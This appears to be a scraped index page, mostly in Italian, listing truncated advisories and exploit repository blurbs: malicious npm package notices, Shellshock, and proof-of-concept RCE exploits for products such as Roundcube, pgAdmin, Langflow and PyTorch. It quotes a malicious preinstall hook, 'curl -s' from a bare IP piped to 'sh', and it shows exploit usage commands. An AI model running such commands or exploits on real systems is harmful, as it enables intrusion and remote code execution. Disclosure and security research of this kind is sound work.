MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

CVE-2014-6271

🚨 CVE-2014-6271 — “Shellshock” Zero-Day di 25 anni di Esecuzione Remota di Codice in GNU Bash tramite Variabili d'Ambiente 📖 Panoramica CVE-2014-6271 , soprannominato Shellshock noto anche come Bashdoor, è una vulnerabilità critica di esecuzione remota di codice RCE nella shell GNU Bash. Un...

Malicious code in @7nohe/openapi-react-query-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...

MAL-2026-15494 Malicious code in @7nohe/openapi-react-query-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...

CVE-2023-3452---WordPress-Canto-Plugin-RCE

CVE-2023-3452 - Plugin Canto per WordPress RCE Exploit per il Plugin Canto di WordPress ≤ 3.0.4 vulnerabilità RFI. Funziona effettivamente su HTTPS — gli altri PoC pubblici hanno rinunciato all'SSL. Crediti dove meritano: questa CVE è stata trovata da altri. Ho solo creato una versione che non si...

Penetration-Testing-Assessment-23-04-2026

Report di Penetration Testing – Sfruttamento di IIS WebDAV Panoramica Questo progetto dimostra un ciclo completo di penetration testing eseguito su un sistema target vulnerabile. La valutazione segue un approccio strutturato che include reconnaissance, scanning, enumeration, exploitation e...

CVE-2025-50881

CVE-2025-50881: Esecuzione di Codice Remoto in API Use it Flow tramite moniteur.php Identificativo: CVE-2025-50881 Prodotto Affetto: API Use it Flow Versione 8.2.0 Rev 15851, Versione 9.2.0 Rev 18093 Editore: https://www.tenorsolutions.com precedentemente https://api-sas.fr/ Componentei Affettoi:...

CVE-2025-49132

Impatto Utilizzando il file /locales/locale.json con i parametri di query locale e namespace, un attore malintenzionato è in grado di eseguire codice arbitrario, senza essere autenticato. Con la possibilità di eseguire codice arbitrario, questa vulnerabilità può essere sfruttata in un numero...

CVE-2025-31337

CVE-2025-31337 Avviso di Sicurezza ID CVE: CVE-2025-31337 Pubblicato: 2025-03-15 Punteggio CVSS: 9,8 Critico CWE: CWE-120 Copia del Buffer senza Controllo della Dimensione dell'Input Descrizione È stata scoperta una vulnerabilità critica di buffer overflow in AIDR ChatBot Framework versione 4.2.0...

CVE-2017-15220-vxsearch-rce

CVE-2017-15220 – Overflow del buffer remoto in VX Search Enterprise Vulnerabilità di overflow del buffer remoto in VX Search Enterprise 10.1.12. Dettagli della vulnerabilità CVE: CVE-2017-15220 Prodotto: VX Search Enterprise Versione: 10.1.12 Impatto: Esecuzione di codice remota Descrizione VX...

CVE-2025-66034

CVE-2025-66034 — fontTools varLib Scrittura Arbitraria di File → RCE PoC exploit per una vulnerabilità di Scrittura Arbitraria di File + Iniezione XML infontTools.varLib Testato su HackTheBox — VarIaType Vulnerabilità fontTools.varLib elabora file XML .designspace per creare font variabili. Due...

PRTG-Network-Monitor-18.2.38---Authenticated-Remote-Code-Execution-CVE-2018-9276

Autenticata esecuzione remota di codice in PRTG Network Monitor Basato su https://www.exploit-db.com/exploits/46527 Utilizzo: modifica manualmente lo script per includere l'URL del target, il nome utente admin e la password come segue: root@kitploit: TARGET = "http://10.129.15.52" USER =...

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 — RCE Post-Autenticazione in Roundcube tramite Deserializzazione di Oggetti PHP Panoramica...

CVE-2025-2945-pgadmin-rce

CVE-2025-2945 — RCE Autenticada no Query Tool do pgAdmin 4 Prova de conceito para CVE-2025-2945, uma vulnerabilidade crítica de execução remota de código no pgAdmin 4. Versões afetadas: 8.10 a 9.1 Corrigido em: 9.2 lançado em 4 de abril de 2025 CVSS v3.1: 9.9 Crítico Visão Geral O Query Tool do...

CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017 - Langflow Unauthenticated RCE Exploit 📋 Übersicht CVE-2026-33017 ist eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle RCE in Langflow-Versionen Dieser Exploit dient ausschließlich Bildungs- und autorisierten Testzwecken. Unautorisierter Zugriff auf Computersysteme...

CVE-2022-30190

CVE-2022-30190 Follina Sviluppo, Sfruttamento, Analisi e Mitigazione di Malware a Scopo Didattico Un proof-of-concept completamente documentato che dimostra la vulnerabilità Follina - dalla consegna tramite ingegneria sociale fino allo sfruttamento, all'analisi forense e allo sviluppo di patch. ⚠️...

Gitea-Git-Hooks-RCE-CVE-2020-14144-

Gitea Git Hooks RCE CVE-2020-14144 OffsecProvingGrounds Practice — Writeup & POC della macchina Roquefort Panoramica...

CVE-2025-54123

CVE-2025-54123 Panoramica Esecuzione remota di codice autenticata nell'endpoint API middleware di HoverFly a causa di una convalida dell'input insufficiente e di un'esecuzione di comandi non sicura. Flusso di attacco 1. Autenticazione L'attaccante si autentica su HoverFly utilizzando credenziali...

CVE-2025-32434-exploit

Panoramica Questo exploit dimostra una vulnerabilità critica di esecuzione remota di codice CVE-2025-32434 in PyTorch versioni /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -...